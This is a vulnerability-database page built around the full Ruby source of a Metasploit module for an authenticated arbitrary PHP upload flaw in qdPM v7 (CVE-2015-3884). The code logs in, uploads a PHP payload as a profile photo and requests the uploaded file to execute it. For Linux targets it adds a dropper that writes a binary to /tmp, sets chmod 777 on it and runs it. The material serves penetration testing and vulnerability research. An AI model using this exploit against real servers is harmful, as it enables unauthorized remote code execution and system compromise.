Lucene search
+L

qdPM v7 Arbitrary PHP File Upload Vulnerability

🗓️ 14 Jun 2012 00:00:00Reported by loneferret, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

This module exploits a vulnerability in qdPM - a web-based project management software. The user profile's photo upload feature can be abused to upload any arbitrary file onto the victim server machine, allowing for remote code execution. Valid credentials are required for exploitation

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
qdPM 9.1 Authenticated Shell Upload Exploit
29 Sep 202200:00
zdt
circl
Circl
CVE-2015-3884
29 May 201815:50
circl
cnvd
CNVD
qdPM Arbitrary File Upload Vulnerability
21 Mar 201700:00
cnvd
cve
CVE
CVE-2015-3884
17 Mar 201714:00
cve
cvelist
Cvelist
CVE-2015-3884
17 Mar 201714:00
cvelist
euvd
EUVD
EUVD-2015-3919
7 Oct 202500:30
euvd
nvd
NVD
CVE-2015-3884
17 Mar 201714:59
nvd
packetstorm
Packet Storm
qdPM 9.1 Authenticated Shell Upload
29 Sep 202200:00
packetstorm
prion
Prion
Unrestricted file upload
17 Mar 201714:59
prion
prion
Prion
Path traversal
21 Jan 202014:15
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'qdPM v7 Arbitrary PHP File Upload Vulnerability',
        'Description' => %q{
          This module exploits a vulnerability found in qdPM - a web-based project management
          software. The user profile's photo upload feature can be abused to upload any
          arbitrary file onto the victim server machine, which allows remote code execution.
          Please note in order to use this module, you must have a valid credential to sign
          in.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'loneferret', # Discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2015-3884'],
          ['OSVDB', '82978'],
          ['EDB', '19154']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-06-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
        OptString.new('USERNAME', [true, 'The username to login with']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    res = send_request_raw({ 'uri' => normalize_uri(base, '/index.php') })
    if res and res.body =~ %r{<div id="footer">.+qdPM (\d)\.(\d).+</div>}m
      major = ::Regexp.last_match(1)
      minor = ::Regexp.last_match(2)
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if (major + minor).to_i <= 70
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def get_write_exec_payload(fname, _data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("chmod 777 #{fname}");
    exec("#{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end

  def on_new_session(cli)
    if (cli.type == 'meterpreter') && (!cli.ext.aliases.include?('stdapi'))
      cli.core.use('stdapi')
    end

    @clean_files.each do |f|
      print_warning("Removing: #{f}")
      begin
        if cli.type == 'meterpreter'
          cli.fs.file.rm(f)
        else
          cli.shell_command_token("rm #{f}")
        end
      rescue ::Exception => e
        print_error("Unable to remove #{f}: #{e.message}")
      end
    end
  end

  def login(base, username, password)
    # Login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/home/login"),
      'vars_post' => {
        'login[email]' => username,
        'login[password]' => password,
        'http_referer' => ''
      },
      # This needs to be set, otherwise we get two cookies... I don't need two cookies.
      'cookie' => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
      }
    })

    cookie = (res and res.get_cookies =~ /qdpm=.+;/) ? res.get_cookies : ''
    return {} if cookie.empty?

    cookie = cookie.to_s.scan(/(qdpm=\w+);/).flatten[0]

    # Get user data
    vprint_status('Enumerating user data')
    res = send_request_raw({
      'uri' => "#{base}/index.php/home/myAccount",
      'cookie' => cookie
    })

    return {} if !res

    if res.code == 404
      print_error("#{username} does not actually have a 'myAccount' page")
      return {}
    end

    b = res.body

    user_id = b.scan(%r{<input type="hidden" name="users\[id\]" value="(.+)" id="users_id" />}).flatten[0] || ''
    group_id = b.scan(%r{<input type="hidden" name="users\[users_group_id\]" value="(.+)" id="users_users_group_id" />}).flatten[0] || ''
    user_active = b.scan(%r{<input type="hidden" name="users\[active\]" value="(.+)" id="users_active" />}).flatten[0] || ''

    opts = {
      'cookie' => cookie,
      'user_id' => user_id,
      'group_id' => group_id,
      'user_active' => user_active
    }

    return opts
  end

  def upload_php(base, opts)
    fname = opts['filename']
    php_payload = opts['data']
    user_id = opts['user_id']
    group_id = opts['group_id']
    user_active = opts['user_active']
    username = opts['username']
    email = opts['email']
    cookie = opts['cookie']

    data = Rex::MIME::Message.new
    data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
    data.add_part('put', nil, nil, 'form-data; name="sf_method"')
    data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
    data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
    data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
    data.add_part('', nil, nil, 'form-data; name="users[skin]"')
    data.add_part(username, nil, nil, 'form-data; name="users[name]"')
    data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
    data.add_part('', nil, nil, 'form-data; name="preview_photo"')
    data.add_part(email, nil, nil, 'form-data; name="users[email]"')
    data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
    data.add_part('', nil, nil, 'form-data; name="new_password"')

    post_data = data.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'cookie' => cookie,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    })

    return (res and res.headers['Location'] =~ %r{home/myAccount$}) ? true : false
  end

  def exec_php(base, opts)
    cookie = opts['cookie']

    # When we upload a file, it will be renamed. The 'myAccount' page has that info.
    res = send_request_cgi({
      'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
      'cookie' => cookie
    })

    if !res
      print_error('Unable to request the file')
      return
    end

    fname = res.body.scan(%r{<input type="hidden" name="preview_photo" id="preview_photo" value="(\d+-\w+\.php)" />}).flatten[0] || ''
    if fname.empty?
      print_error('Unable to extract the real filename')
      return
    end

    # Now that we have the filename, request it
    print_status("Uploaded file was renmaed as '#{fname}'")
    send_request_raw({ 'uri' => "#{base}/uploads/users/#{fname}" })
    handler
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with '#{user}:#{pass}'")
    opts = login(base, user, pass)
    if opts.empty?
      print_error('Login unsuccessful')
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    @clean_files = [php_fname]

    case target['Platform']
    when 'php'
      p = "<?php #{payload.encoded} ?>"
    when 'linux'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      @clean_files << bin_name
      bin = generate_payload_exe
      p = get_write_exec_payload("/tmp/#{bin_name}", bin)
    end

    print_status("Uploading PHP payload (#{p.length} bytes)...")
    opts = opts.merge({
      'username' => user.scan(/^(.+)@.+/).flatten[0] || '',
      'email' => user,
      'filename' => php_fname,
      'data' => p
    })
    uploader = upload_php(base, opts)
    if !uploader
      print_error('Unable to upload')
      return
    end

    print_status("Executing '#{php_fname}'")
    exec_php(base, opts)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jun 2012 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 26.5
CVSS 3.18.8
EPSS0.14399
25